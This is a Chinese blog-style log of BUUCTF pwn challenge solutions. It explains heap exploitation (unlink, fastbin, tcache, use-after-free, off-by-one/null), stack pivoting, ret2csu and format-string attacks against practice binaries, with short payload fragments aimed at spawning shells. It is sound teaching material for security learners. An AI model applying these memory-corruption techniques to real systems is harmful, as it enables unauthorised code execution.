-
-
[原创]BUU暑期刷题记录
-
发表于: 2021-8-11 18:57 18272
-
题目类型:堆溢出泄露libc以及修改got表指向get shell
main函数
常规菜单没什么好看的
ADD函数里面一开始创建了个堆,堆的大小由主函数菜单确定
接着开了个新的v3固定大小0x80指向s
然后进入80486BB函数输入name值
edit函数
v3是我们输入的大小
(char )(v3 + (_DWORD )(&ptr + a1)) >= (char )(&ptr + a1) - 4
这句语句限制了我们的输入长度
他检查的范围是以description堆块的起始地址和name的起始地址之间的长度。
我们绕过的方法可以构造unsortedbin区块
因为我们在ADD函数可以得知add一个new chunk
实际上new了2个chunk
一个是name 另外一个就是text(在add中调用edit函数进行填充)
我们构造同等大小的chunk,如下代码操作
现在一共有6个chunk
我们释放0号chunk 可以得到一个0x100的chunk(0x80+0x80)
这个chunk在unsortedbin
下面我们再new一个chunk 这个chunk就会成为新的0号chunk
chunk大小设置为0x100从unsortedbin中提取出来不足的部分就会在最下面新开
这样就绕过了检测
text大小为0x19c,0x110(这里有0x10是chunk本身结构体会占用的实际可用大小为0x100但是我们填充是从头+8开始填的所以是0x110)
+0x80(chunk 1)+0x8填充弥补头的prve_size +0x4 free的got地址
填充好后如下
0x89bd1a0: 0x006e69000804b010 0x0000000000000000
这就是1号chunk指向chunk0的指针改掉他成free的got
这个是这个32位程序正常的堆
0x804c080: 0x0000000000000000 0x0000008800000088
后面那个88 是这个堆的大小
一直从0x804c080到0x804c100
第二个堆的大小标志位在0x804c110: 0x0000008800000110
后面的110是前面的堆的大小(这里面我把前面那个chunk释放了
因为这个题目的关系0x80+0x80=0x100加上chunk本身占用的标志位
=0x110)
0x804c090: 0x2e522e480804c008 0x0000000000000050
这部分0x2e522e480804c008中的804c008指的是上一个chunk
所以我们回过去看我们上面修改的部分
0x89bd1a0: 0x006e69000804b010 0x0000000000000000
这里我们修改的就是chunk1的前驱指针
这样看是不是就好理解了呢?
(把堆当结构体看事半功倍,做题前好好分析chunk的结构)
edit
此时我们再去show chunk1的时候就会print出libc
用libcsearcher可以得到system的real addr
利用edit功能改写free got表为system
相当于执行free的时候执行system了
那么我们之前chunk 2写入了/bin/sh
此时我们再去free chunk2
就可以直接get shell了
exp如下
一道涨姿势的题目
将指针当函数执行
经过整理后得的的main
bug在bug函数
bug
(*a1)();这部分代码将\a1当做函数来执行
a1来着main的v7
v7来自check的返回值
因为read函数和check函数都在main函数
他们的变量实际上在同一栈上
只要在read函数覆盖到check函数返回值的地方更改其为后门函数
就可以得到权限了
exp
main
漏洞存在于edit中的BUG函数
BUG
当修改的大小比原来大10,就可以多输入1个字节
造成了off by one,由此我们可以构造堆重叠泄露libc以及
造成fastbin攻击写入onegadget
堆重叠构造
先add4个chunk。3号chunk隔开topchunk
目前正常的chunk就长这样
在0x5565289df000: 0x0000000000000000 0x0000000000000021
后面的是chunk size
1是size insure 0表示前面的chunk被释放 1表示在利用
前面一堆0是表示prve_size(前面chunk的大小)
0x5565289df010: 0x0000000000000000 0x0000000000000000
在64位中,chunk size下面的0x10大小的分别是fd bk指针的位置
现在我们修改chunk0把chunk0呢填满
然后下面跟着的chunk1我们把它大小改为0xa1
他的prve_size改为0x20
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))
修改成功就这样,但是过不了检测的
chunk1此时被改成了0xa0大小
但是chunk2他这显示你不是
所以啊过不了检测
我们还要对chunk2做手脚
我们不难发现chunk2起始地在0x40
但是内容是在0x55e6c276f050开始写入
我们要满足0x55e6c276f020开始的chunk1大小为0xa0
可得我们要在0x55e6c276f0c0的地方的修改chunk2的prve_size为0xa0
自己的chunk size为0x21
如下代码
下面我们构造堆重叠
我们都知道bin的管理模式是当要创建新的chunk优先从空闲空间拿
不够再和top chunk 拿
我们dele1再把它用同等大小申请回来就会造成和chunk2有重叠
我们先看看dele1的情况
很明显他的fd bk指针指向main_arean+88
我们可以顺便看看他 的内存情况
是不是和我们上面说的一样
chunk开始的下面0x10地方存放fd bk
结果显然是一致的
现在我们把他申请回来
add(0x90)
结合原来数据可以知道
在0x040那个地方开始是chunk2
chunk1在0x020
现在就有了重叠部分
我们还要改下chunk1去写入chunk2的大小
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
现在就很清楚了chunk1和chunk2重合部分
从0x040到0x0b0
这个时候我们dele chunk2 chunk2就会进入unsortedbin
然后他的fd bk又指向了main_arena+88
此时他包含在chunk1那么我们把chunk1 打印出来就自然而然的
得到了libc
我们先看看dele chunk2的样子
里面已经包含了
0x560348732050: 0x00007f414af4fb78 0x00007f414af4fb78
nice
当我们show chunk1可以完美接受到libc
从gdb调试可以知道我们泄露的是main_arena+88
我们可以p main_arena+88得到地址
输入libc
用main_arena+88-libc得到偏移
注意写脚本的时候记得接受0x20大小的junk code
下面的代码块里可以看出的
下面我们就要进行构造fastbin造成任意写了
我们先申请个chunk2
add(0x80)
和之前构造堆重叠一个道理不过这次我们要的是fastbin的chunk
edit(1,0x90,p64(0)2+p64(0)+p64(0x71)+p64(0)12+p64(0x70)+p64(0x21))
上面的edit是对chunk1编写改出个chunk2的大小来
不难发现chunk2又被包含在了chunk1中
此时我们去dele chunk2
他就进入了fastbin区块
然后往里面写入任意写的函数地址
我们可以看看他的fd bk指向哪里了
edit(1,0x30,p64(0)2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)2)
指向了的确是在任意写的地方
我们此时可以往里面写onegadget了此时还需要用realloc压栈
x/32gx realloc_hook
这样看 push 压栈 压入寄存器的都可以
fastbin大小范围0x20~0x80
largebin大于等于1024字节(0x400)的chunk称之为large chunk
smallbin小于1024字节(0x400)的chunk称之为small chunk,small bin就是用于管理small chunk的。
unsortedbin当释放较小或较大的chunk的时候,如果系统没有将它们添加到对应的bins中,系统就将这些chunk添加到unsorted bin中
exp
main
我们在main不难发现栈溢出
但是很明显溢出长度不是很充足
只有0x10的长度 我们发现下面可以读取的大一点去康康是什么东西嗷
┗|`O′|┛ 嗷~~
.bss:0000000000601080 bank
不难发现是bss段落
我们可以构造rop链存放于bss段落
当我们利用函数栈修改的修改rsp
让栈指针指向bss段落,去执行我们的rop
第一步的payload
leave指令是为了控制bq和sp寄存器
正常来说我们填充2次leave
但是程序执行是会自己含有一个leave
在bss段落的rop的这样写
p64(ret)*20+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main)
p64(ret)*20用来抬栈避免触碰到got表导致程序崩溃
然后接受泄露的libc
leak=u64(r.recv(6).ljust(8,'\x00'))
然后自己去差base吧
最后再传入onegadget就可以getshell了
soeasy
exp:
题目和exp
链接:https://pan.baidu.com/s/1tNgz_5tcXkwfLNpvAdIEXQ
提取码:4567
--来自百度网盘超级会员V2的分享
main函数
同样是栈迁移很明显的
但是你迁移的长度太少了吧啊哈
我们就要经典用csu达成目的咯
那就要想办法执行构造可以利用的东西
这个题目给了sys_read非常明显嘛
送我们sys,而且main函数也说了syscall(59)#系统调用号不知道的自己去百度哦
相当于调用execve
我们构造个execve(0x3b)
bss段是最好的布局区段
我们在里面构造就好呀
上csu模板!!
对于csu模板的使用要分清情况
这里的话因为我们是要去调用execve而不是让他执行完毕
所以末尾的'a'*56可以删除
还有在fist_csu后面也不能加'a'*8
题目和exp
链接:https://pan.baidu.com/s/18tRF62mbYF6ba_hBD5vWVA
提取码:4567
--来自百度网盘超级会员V2的分享
main函数
我们可以去用基础rop没问题但是这个例题只是为了更好的讲解csu的运用
没太多好讲的就是基本的模板题目,主要的是如果不用onegadget的话
拼接system的记得在/bin/sh后面加上ret进行栈对齐。栈对齐一直很玄学对我来说噗嗤。
exp
做了2道栈迁移2道csu的题目后,真的差不多可以自由布局栈帧了很舒服。
这里总结下我的一点点经验。嗷呜!!(学的很折磨学会很开心)
第一
常用的模板攻击大小是0xb0,如果可输入大小不满足需要自行
拼接构造,例如上面的第二题csu结合栈迁移的看具体情况进行修改。
第二
我们要理解我们要做的是什么
你是想调用这个函数让他执行完,还是仅仅是调用他呢
这里的区别在例题二中已经有了很明显的体现了
菜单题,没有输出,但是输入4869并且magic大小满足大于4869就可以触发后门
经过排查,漏洞在于edit函数
edit
对于输入的内容大小没有做检测是否大于chunk本身大小,由此形成了堆溢出漏洞,我们便可以对chunk中的fd bk chunk_size以及prve_size进行控制
我们在此处的目的非常简单,控制magic变量大小大于4869即可
我们构造unsortedbin区块利用溢出修改其bk指针之后进行脱链操作即可达成目的
让chunk1进入unsortedbin ,之后对0进行edit,让其溢出后覆盖修改chunk1的bk指针,再把chunk1malloc回来就会形成脱链
exp
很好的一个菜单题来学习off by one
main
排查后漏洞在edit函数
edit
read_input(((_QWORD )(&heaparray + v1) + 1), (_QWORD )(&heaparray + v1) + 1LL)在这可以比chunk大小多输入一个字节造成
off by one 漏洞
既然有输出功能我们不妨从泄露libc的思路上下手,那么回归本质就是构造unsortedbin区块
我们这里有off by one 可以构造一个fake chunk 当我们释放掉fake chunk 再申请回来时往里面写入某个函数的got表
再去show出来的时候got就会自动寻址到real_addr然后打印出来。
我们有了libc_base之后就可以算出system的真实地址等下直接edit chunk1往里面写入system的地址就ok了
我们看看内存吧(#^.^#)‘
这是更改前的存入chunk1中的free的got表
0x602018: 0x00007fa439c5a540 0x00000000004006a6
这里不难看出0x00007fa439c5a540 这个地址就是free的real_addr
这里是修改过后的,我们直接把free的got表改成了system的真实地址
下次当我们执行free的时候相当于执行system,而且我们在chunk0布局了/bin/sh
当我们释放chunk0相当于就去执行system(/bin/sh)
exp
程序只有start和exit不能反汇编我们直接看吧
值得注意的是汇编中的注释,.text:08048087 mov ecx, esp ; addr
这里是存放esp的地址
下面还有个系统调用read
.text:08048095 mov al, 3
我们可以试下他的栈的ebp在哪里如下过程
发现是20,这题checksec后发现保护全关,我们直接泄露esp的地址然后控制esp指向丢入个shellcode就行了
exp
main
菜单1-3常规无输出
漏洞在edit函数(堆溢出)
没有对输入大小做检测
使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
设指向可 UAF chunk 的指针的地址为 ptr
ptr 处的指针会变为 ptr - 0x18。
先利用堆溢出伪造chunk用于形成unlink #2 #3
接着更改free的got表为puts的got表 #2
再将用于修改got表的chunk的上一个chunk写入puts的plt表
这样当我们去释放用于修改got表的chunk的时候
就会去执行puts函数里面的参数就是puts的got表,就可以得到libc。
有libc我们可以直接写入system('/bin/sh')。
本题中的ptr是对应要修改chunk的指针地址
从ida中我们可以得知他的chunk是存放在bss段的一个全局数组里面的
我们要修改chunk2就要做到chunk2相对于数组首地址的偏移
我们先上个调试
我创建3个堆,首地址存放了chunk的数量
然后chunk1在0x602140
chunk2在0x602150 chunk3在0x602158
根据利用规则
fd=ptr-0x18
bk=ptr-0x10
这样就可以绕过unlink的检测
我们先构造fake chunk 用于绕过unlink的非法检测
注意哦,chunk3大小必须大于fastbin的大小不然是不会进入unsortedbin
然后这里是Ubuntu16的系统不需要考虑tcache。
unlink后的效果,很明显的可以看见chunk2和fake chunk有重叠的部分
fake chunk是c1 他的fd bk指针在9470这里开始
我们等下就可以往这里写入got表。
从上面的代码块可以看出fake chunk我们应该怎么去填充构造更改got表
值得一提的是
当我们有2个相邻的chunk
(这里的相邻指得是这样的,例如有chunk 1 2 3 4 ,当2 3 被free了那么1 4就相邻了)
如果我1中的fd指针指向某个函数的地址
然后与其相邻的chunk里面的fd bk就是作为参数的
参数位数不够的可以向该chunk后面的内容区块拿来利用
然后释放相邻chunk就会执行函数
说人话就是
1号chunk就是函数的调用chunk,与之相邻的chunk是参数chunk
释放参数chunk就可以执行函数。
例如1号存放system的真实地址
4号存放'/bin/sh\x00'
free(4)
就可以执行system('/bin/sh')
QWQ和上面一样啦
不过这个给了show函数咋们就不用构造put了
直接用show打印就可以泄露libc 啦
不过这里我们需要注意一点,也是刚才没注意到的
unlink后形成的chunk我们再去写入的话不是写到chunk上了
是写到堆存放的数组上去啦,如下代码块所示,0x602018就是free的got表地址0x40是chunk0的大小
我们要填充 payload = p64(0) * 2的原因是因为
此时ptr=ptr-0x18
我们不难看出要想骗过程序检测还要修改chunk的大小标识
所以补上0x10 就是ptr-0x8 ptr就是0x6020c8(具体是为什么我在第一题unlink中有提到)
所以ptr-0x8就是数组首地址可以让我们去控制他的大小标识 ,绕过检测完美哦
其他的话就没什么好说的了。
函数我就懒得放上来了漏洞在free的时候没有置零然后没有edit功能
使用uaf漏洞就行了
简略分析下吧
这个chunk的结构体由2部分组成
我们new 一个chunk会有2个chunk生成
一个固定的0x11大小的存放了puts调用的地址和用户创建的chunk的内容的地址
泄露地址老生常谈咯,构造unsortedbin然后申请回来一部分空间去写入payload
对于payload = p32(0x804862b)+p32(puts_got)
这句代码,我们要知道的是上面我也提到了他会固定生成一个0x11大小的chunk放2个指针
我们把chunk1 2 free了进入了bin中,当我们再次申请的chunk小于bin的时候chunk就会从bin中把原来的空间拿出来复用
因为他没有置0嘛,所以原来的指针就不变咯。我们申请一个比0x11小的能刚好写下payload的chunk 大小为8
前面的puts的地址不用动,动了会崩溃,后面把原来指向堆内容的chunk改为某个函数的got表
下面当我们去打印这个堆的时候他就会去打印这个函数的real_addr
至此我们的libc泄露完成
这个还有地方说下,偏移的计算打破了我常规认知
就是比如我泄露的是puts的地址
然后我要的是system
那我就拿泄露的地址减去泄露的那个函数在libc的地址再加上我要的函数在libc中的地址
就可以得到我们要的函数的real_addr.
getshell
这里dele1是为了让0x11的空间再次进入bin为了我们写入system做准备
这里实际上用到了double free没有报错是因为我们上面已经将其指针修改为了某个存在的函数(上面我们改的是puts的got)
而不是他原来的chunk的内容的地址所以是有效的指针不会报错啦。
exp:
32位手撸shellcode
64位手撸shellcode
常规菜单,功能齐全,就是限制了输入chunk的大小为24和56,小问题,漏洞在edit可以多输入一个字节
edit
我申请了一个大小为24和一个大小为56的chunk
然后除了本身的内容chunk,还有数组chunk会一起生成
数组chunk固定大小为0x21存放着其指向的chunk的size和指向chunk的地址
数组chunk如下代码块模样
大小为0x18 地址指向chunk0
分析完毕,开始分析利用过程
大致方向就是off by one 修改chunk大小形成堆重叠从而对重叠部分进行任意写入,控制其指针指向泄露libc以及执行函数
对于这道题
我们先构造3个chunk
0 1构造堆重叠
因为我们的chunk绑定结构是这样的
我们溢出的那个字节实际上修改的是数组管理chunk的chunk_size
我们这样构造fake chunk的payload
为什么是41? 因为我们输入56的时候实际生成他的chunk_size记录的是0x41,我们为了方便利用,能在后续利用将bin中区块完整申请回来就构造一样的chunk方便布局
接下来我们去康康吧,里面怎么样了
显然已经生成了一个0x41的chunk啦
当我们free掉这个chunk1 他和他的管理chunk都会被free,那么我们再new一个同样大小的chunk回来的时候我们此时
对这个new chunk就可以可控的,我们可以把某个函数的got表写进这个chunk里面所重叠包含的下一个chunk的管理chunk
指针,这样我们去打印的时候就会自动的打印出这个函数的real_addr了
然后就可以写入system去执行啦
exp
用ropgadget生成rop链就行了
常规菜单题目,没有edit漏洞在free,没置零 然后。。。。给了后门读取flag
后门
flag 丢到了bss段上的s变量
然后他很皮的预留了个0x60大小的bss段地址
存在UAF以及UAF衍生出的Double free漏洞。于是可以使用fastbin attack借助预留的x60将chunk直接分配过去,flag就会恰好在ba的位置,可以直接进行读取
找偏移直接在gdb用fmtarg
exp
漏洞在菜单开始要我们输入名字,那有个格式化漏洞
bug
因为这个是保护全开的程序,直接传入got表泄露地址不太方便,除非你闲的想去爆破。
打开gdb 在banner的printf(format)这个地方打断点
在gdb中找到输入变量的存放地址用fmtarg加地址可以找到基础偏移 然后关于变量和函数之间的距离从gdb上先算出16进制的距离 例如此处变量距离start main函数是0x38 十进制计算56 因为是16位程序我们除以8 得到7 基础偏移是8 就可以得到需求偏移为15
我们这里用到的是泄露__libc_start_main+240以及main函数的地址
偏移分别为15和19 前面的__libc_start_main为了泄露libc 后面的main是为了寻找到我们所需要的的存放chunk的数组首地址
计算libc偏移我懒得细说了, 得到的是__libc_start_main+240,泄露出来后减去240再减去libc文件中的偏移就有了基地址了
这里花多点时间讲下数组首地址的寻找
首先我们先正常的创建个chunk,然后用vmmap看下此时的内存空间,在此我们先把main函数的地址找到如下
vmmap
我们可以看见
数据的起始地址在0x55992dfc4000
0x55992dfc516a这个是main的他距离起始地点为0x116a
那么我们要找的是chunk的存放首地址,打开ida看note在bss段地址0x0202060
拿起始点加上bss段地址就是我们真实的数组存放chunk的地址
脚本如下计算偏移
下面进行unlink操作讲解,上面也有2道了,这里还是讲下堆排布的问题吧
因为是Ubuntu16,没有tcache,方便操作一些嘿哈。
我们现在理清了整个chunk的结构
数组chunk2个用处存放指向的内容地址,还有指向的chunk的大小
下面我们先构造2个chunk,chunk0就是我们拿来写入fake chunk的
fake chunk构造代码
prev_size=0 fake chunk=0x91 fd=ptr-0x18 bk=ptr-0x10 中间的junk code填满直到满足fake chunk的大小然后去把下一个chunk的
prev_size改为fake chunk size 下一个chunk大小 改为a0 size insure位置为0欺骗程序,让他以为上一个chunk被free了过检测
下面我们再edit就是往ptr-0x18这个空间里面写入了,但是。。。ptr才是数组首地址呀
我们还要先补上减去的0x18用p64(0)*3就好啦,然后把指向chunk的指针改为free_hook的got,后面的大小嘛,你喜欢别太变态改的
有点大你忍着点(划去)给个0x48左右差不多了,然后下一个指针的指向给到chunk的首地址,转换下相当于指向free_hook啦
后面接上sh
代码如下
接着写入system相当于更改free_hook的got表,执行free的时候实际上执行了system,alright!
远程可以打通,远程机子破,比较老,libc没有加入double free的检测,本地的话即使是Ubuntu16,最新的机子也加入了该检测机制
完整exp
实际上做堆题,你觉得你在干嘛? 无非呢就是修改指针指向,构造fake chunk2件事情
就2个chunk就够了
chunk0大小大气一点点,给多点空间方便操作(要是有堆溢出能溢出很多,那开多少你随意反正都能溢出)。chunk1,大于fastbin 差不多0x80 0x100这样按照习惯看着来
填充上呢先填个p64(0)+p64(fake_chun_size)这个是fake chunk的头部内容
然后再把fd+bk指针塞进去p64(ptr-0x18)+p64(ptr-0x10),然后填充满足fake_chun_size大小的junk_code
再把紧接着的下一个chunk的prev_siez改成fake_chun_size next_chunk的size改为也就是我们的chunk
下面举个例子好了,没有堆溢出单纯的chunk构造
这个蛮灵活的,像axb_2019_heap这个给了格式化就可以直接泄露比较方便也是因为开了pie保护的原因
这里还有考虑有没有开pie有没有show功能,如果题目开了pie没给show,我们可以先unlink然后再往存放
chunk的数组里面去构造got表更改,比如写入free的got 改为puts的got,然后再拿个正常的chunk,编号在他前面的正常chunk
往里面写入puts的plt地址,就像我前面提到的,函数chunk和参数chunk的道理。此时我们去释放写入got的参数chunk
就会触发函数chunk的内容,由此就可以得到puts的真实地址
unlink后直接写入要泄露的got地址然后show出来就行了
在构造fake chunk我们修改了fd bk 指针
当我们unlink后我们的指针指向的是ptr-0x18的地方
我们再对新的chunk或者当前用于构造fake chunk的chunk去写入的时候是往ptr-0x18的地方去写入
我们在写入数据的时候要找好偏移,所以要去摸清楚数组存放了什么,哪些是指针,加多少p64(0)才能到达
可以利用区块的指针然后去修改他。
用gdb找偏移的时候注意在输出那地方打断点不然找的是错误的
从20号出题出到21号,累死了嘤嘤嘤(校内工作室招新)
坐等10月看看有多人能解吧,我估计全0解预定,可能也就第一题有解吧
四道题目,从易到难,全中文pwn,以修仙为背景
链接:https://pan.baidu.com/s/1Ldd0VCJxpoTLzlu7twD2Yg
提取码:4567
--来自百度网盘超级会员V2的分享
开了pie保护,但是呢又给了chunk的内容地址,所以泄露libc 让堆下溢就行了
看看main函数吧
只有add 和 put put是假的输出空白(坏得很)
看看add
看,给出了chunk content start addr
我们先要明白我们的条件有什么。1.堆溢出 2.泄露地址
好,有了这两个条件,继续想啊。堆溢出能干嘛? 构造fake chunk 改指针 哎 这正好地址都可以泄露 这不就很简单了吗
这里没有free 但是有malloc啊 打"__malloc_hook"嘛 。
虽然不能指针控制指针指向 "__malloc_hook",但是我们有地址可以知道偏移啊
这里再强调下mmap
来看代码
0x555555757000 0x555555778000 rw-p 21000 0 [heap]这是heap的地址范围
下面就是libc,我们申请的chunk大小大于heap范围他就自觉的申请在libc区块自然就指向那可以踩到那的地址
而且__malloc_hook等众多钩子以及普通函数都在下面呀
得到了libc 我们是不是该写入hook了呀,可是发现哎,草了,没有dele。
但是我们有top chunk和hook的真实地址啊 这不就得到2者之间的offset的了吗
建造offset大小的chunk挤到hook的地址上,然后在里面写入onegadget 下次add的时候就是getshell啦嘻嘻
来看exp吧
realloc压栈的话看情况吧
生草的多线程哈哈,还好不是爆破canary,不然我真觉得没意思
mian函数打开了flag存在在栈上变量buf上,然后这个题开了canary 开了多线程
我们知道的多线程canary不变的,同时有canary的时候是不会改变的。
同时没有填充canary的栈溢出是会有错误提示的,如下:
stack smashing detected : terminated
同时这题有gets,那么我们可以这么想,这种报错提示也是一种输出,那么我们把输出内容换成got表是不是就有了real addr
我们打开ida来看在jnzf打断点
rsi距离0x7fffffffdec8 —▸ 0x7fffffffe267 ◂— '/home/q/Desktop/GUESS1' 为0x128
我们报错输出的就是后面那的东西,我们将其覆盖为got表得到libc 再得到__environ函数的真实地址
再去覆盖到那就可以得到栈地址,有了栈地址就可以知道他和flag的offset,到时候在传入这个偏移下次报错就吐flag了
exp
result
漏洞在add的时候读取内容那个函数,作者的size是参数a2int类型,但是i是unsigned类型
那个一个unsigned(0-1)是非常大的,所以在add的时候大小输入0就可以无限输入内容
造成堆溢出。
unlink的思路我已经非常熟悉了,就是这里有个strncat函数。。。。我没注意到裂开了他会对'\x00'截断搞的我们的payload分两步
其他的话就是普通unlink了
exp如下
ptr不为0的时候可以执行getshell,这题可以add9个chunk 有tcache 7个填充 1个触发 并且有uaf漏洞
uaf的漏洞存在使得我们释放后依然可以edit,在里面写入prt-0xxx xx的话随缘吧 因为你uaf写到fd里面的时候
我下一个申请的chunk是把这片区域开始的地方当chunk的,让里面有东西就好了建议大于0x10就行了
exp
可见字符的shellcode 推荐ae64和阿尔法3 然后记得装个py3.7不然没法用这些工具的
a1是可控的我们可以由此泄露出libc的地址,然后在dele处有UAF漏洞,所以我们可以用fastbin attack
泄露libc,先随便输入个偏移%12$p
下面我去看看OreOOrereOOreO%12$p这个字符串的地址
用search发现他在0x555555756050因为这个data段不在栈上面,我们就一个个的试发现偏移是7 这个是基础偏移
下面找到在数据在栈上是哪里去指向与他的(找的时候范围扩大点)
第一次出现在0x7fffffffddc8 下面有__libc_start_main+240可以泄露 0x7fffffffde18-0x7fffffffddc8 然后除以8得到泄露偏移
基础偏移加泄露偏移=真实地址存放偏移 %17$p
fastbin攻击,利用uaf去修改fd的指针,去进行一个任意写,一般这个地址在__malloc_hook-0x23
我们可以看下是什么东西
里面的代码个人理解就是进行一个任意写入的操作去绕过检测,不然直接更改malloc_hook的指向是会报错的哦
所以我们去uaf后edit的那个chunk是写入malloc_hook-0x23
add回来的时候我们再去写内容就是往这个地址里面去写内容,所以呢,我们还得去看下这里面的指针是怎么排布的
这里的0x10大小是必须填满的,接着我们要填充到__memalign_hook
用这个钩子去触发__malloc_hook,所以我们要看malloc_hook-0x23距离这个
__memalign_hook这个钩子有多远你填充多少个字节的junk code
这个程序的是距离0x13,所以add回来的时候先用0x13压入再传入onegadget 下次再add的时候就是执行onegadget了
exp
malloc了个变量输入,然后吐出来,然后给了后门,如过不是malloc的变量,在栈上的我们直接用pwntools改got到后门就oK
但是在heap上的,我们要依靠控制bp寄存器的指向去修改他的返回地址。靠爆破实现
gdb 断点打在第一次printf上面
我们可以看见哦
0xffffcf58 —▸ 0xffffcf78
0xffffcf7c —▸ 0x8048697
那么我们把78改成7c就是相当于控制ebp去指向他,那么下面7c指向0x08048697 我们把后面的8697改成后门地址就OK了
exp如下
偏移多少,就从esp开始数就好了,这个和在栈上找偏移的方法不一样 这里简单点 然后传入的地址用十进制表示
UAF漏洞,给了system调用和/bin/sh字符串,修改chunk的fd bk指针即可
这个题的chunk结构如下
会生成一个chunk去指向对应的chunk的content地址后那个是add函数里面的地址。
我们构建3个chunk 0 1 2
2号隔开topchunk
我们先释放0 再放1 进入fastbin 我们申请大小小于0x20的chunk这样就能把原本的管理chunk申请回来
先释放的是0所以是从0的那部分申请回来的,我们申请的时候写入sh字符串地址和后面地址修改他的fd bk指针
当我们去show(0)的时候就会去执行了
在这再说下UAF 就是因为没把指针置空,导致他还是会指向东西,这个指针还在,我们可以利用bin的分配原理
去修改他的指向内容达到利用目的
exp
=-=麻了搞了今天沙盒通防然后又去挖路由器,几天没学pwn了,要命了 今天上号BUU
分析:
漏洞在于strcpy(dest, s);
这样赋值的话strcpy是遇见'\x00'才停止的
缓冲区的长度为 size ,chunk 空间为 size ,strcpy 写入 size 后,会再次写入 \x00
,造成 off by null
除非chunk size+1或者缓冲区的size+1才会正常很显然这里没有
利用思路
1.tc最大的chunk大小是0x410,那么我们申请的chunk大于这个就可以得到unsortedbin chunk
2.利用off by null修改chunk的insure位置为unlink向前合并构造条件
3.unlink后申请会原来用来做于unsortedbin的chunk去show出来就可以泄露libc了
4.得到libc之后tcache bin double free 劫持 __free_hook 为 onegadget
tips:步骤2中对于off by null的利用有两步第一个是复原prev_size,第二个是伪造insure伪造
复原原理如下
free 的 memset 写入的字节长度是 chunk_size ,也就是申请多少,free 填充多少,但是 malloc 并不是这样,malloc 会自动对齐。举个例子:结合off by null 漏洞就可以复原
exp
这里不能自动改是因为只有一次输入机会,我们需要手动更改
main
这里给了system函数,我们需要改fini_array为main,fini_array是在程序结束的时候调用的我们更改他为main就可以乱玩了,循环使用main
直接上exp
payload详解
我们输入过多会溢出,输出也是一个道理,所以%nc的n不能太大拆分2次写入,我们这里只有一次输入机会首先就是
fini_array改main在偏移为4的地方写入0x0804大小的字符做高位地址,
因为是小端传序,所以我们给的给入地址是倒着来
fini_array+2=0x0804 对应%4$hn
printf_got+2=0x0804 对应%5$hn
printf_got=0x83D0 对应%6$hn
fini_array-0x8534 对应%7$hn
另外还有道题类似的可以参考下:https://jue-xian.gitee.io/jue-xian/2021/06/28/printf%E8%BF%9B%E9%98%B6/
bug
这个没有show功能,开pie保护了,想通过unlink来实现泄露不太现实
于是便想到了用uaf伪造unsortedbin控制他的fd然后利用IO文件流来泄露
第一步伪造unsortedbin
chunk0
chunk1
chunk2
chunk0里面先伪造好fake chunk head 这个fake chunk 的chunk_size要和等下用来修改fd的chunk大小一致
因为如果bin中有chunk空间,优先向bin获取在没有tcache的情况下
我们这里chunk最大是0x60
chunk0大小为0x28 中间的chunk1-2用来凑大小,chunk3用来指向chunk4 chunk4用来修改fd chunk5隔开top chunk
这里再强调下,我们构造unsortedbin是为了控制他的双向指针,我们最后泄露的地址是_IO_2_1stderr+xx的不是main_arean+88的
第二步爆破踩地址以及修改flag
概率是1/16为什么不直接爆破地址在_IO_2_1stdout的地址而是在他上面距离0x43的地方?
因为这里libc-2.23对size有做检测,我们还要把他覆盖掉填充0x33大小的'\x00',也是在_IO_2_1stdout-0x10的地方开始修改他的size
修改前
修改后
不难发现被覆盖了,这样就能过检测,这个检测在往后的版本的libc里面反而没有了,可以参考我博客的广东省省赛类似的Ubuntu20的题不需要过这个检测
然后有了基地址就直接常规的double free攻击malloc_hook-0x23写入onegadget
exp
做了这道题,实际上对于基础pwn有了更通透的理解,最本质的还是去更改控制地址链
这里我们控制args链
0x7fffffffdfd8 —▸ 0x7fffffffe0a8 —▸ 0x7fffffffe3d3 ◂— '/home/q/Desktop/npuctf_2020_level2'这条链接就是args链
我们用%p泄露地址就可以知道其中0x7fffffffe0a8 的偏移是9,0x7fffffffe3d3 的偏移是35。
不过因为不可能一次性写入非常大的数据我们的onegadget需要进行拆分分2次写入
我们这里控制栈的返回地址也就是bp+8分2次写入onegadget
第一步改写偏移为9的地方为bp+8
然后写入一半的onegadget在偏移35处
第二步重复不过是写入另外一半,对于数据的拆分exp中有,可以看下脚本运行的拆分结果
因为最后3个字节是固定的前面的0x7f什么的都是动态的我们不用管反正在程序里面栈有栈的0x7fxxxx,libc有libc的我们只用改最后3个字节就行了
##不过需要注意的是,因为我们写入的数据不算小的,还要用去输入一些junk code去刷新下缓冲区,然后sleep去等待刷新##
exp
和上面的题如出一辙,不过这个题呢没有args链可以用,有bp链我们改bp链,bp链如下
在ebp指向的一条单链,这里没有开pie,可以有条件进行got表更改
我们将got地址拆分成4部分写入,一共八次,前面四次写入got,后面四次写入got+1
我们用%6$hhn来修改%10$处的数据,然后利用%10$hhn来修改%14$处的数据,使得%14$处为printf的GOT表地址,同样的方法,让%15$处为printf_got + 1的值,这样,我们在printf里用%14$hhn和%15$hn一次性完成对printf的got表数据后3字节完成了修改。第一个字节不用修改,因为都是一样的值。
需要的注意的是和args不一样,bp链的利用需要复原bp链,不然会有错误,因为返回地方是不对的,所以需要进行一个复原
对于system函数的函数的写入要一次性去写入,不然会有指向错误,system拆分两半不知道写哪里去了都
exp
总体分为2大类,bp链,args链的利用。
1.args链,args链一般指向是这样的 chain1->chain2->chain3
我们要做的就是更改chain2为bp+4(8),chain3为onegadget或者system
主要对地址的拆分掌握
2.bss链,同样为chain1->chain2->chain3
我们修改chain2为chain3的地址让chain3改为printf的got表
然后再把chain2+4继续一步步更改printf的got加1
最后拆分写入system
题目是Ubuntu16的,说实话我更喜欢有tcache,因为他的漏洞更好用更多。
这道题他的溢出emmm不太一样,一般我们溢出是直接可以盖过去的,他是直接转为生成一个chunk
这里最小的chunk是0x90大小
v4 = malloc((128 - v3 % 128) % 128 + v3);
溢出生成的那个chunk大小刚好在unsortedbin,通过溢出去泄露不太行,
我们这里的话还是用UAF漏洞去玩玩吧
1.泄露heap_base
这里的话我们玩他的fd bk指针
申请4个chunk分别是0,1,2,3
1号用来隔开0,2避免free的时候重合然后泄露出来的地址是libc的
3号隔开topchunk避免2与其重合
我们先free0,2此时
0的fd->main_arean+88,bk指向2
2的fd指向0,bk->main_arean+88
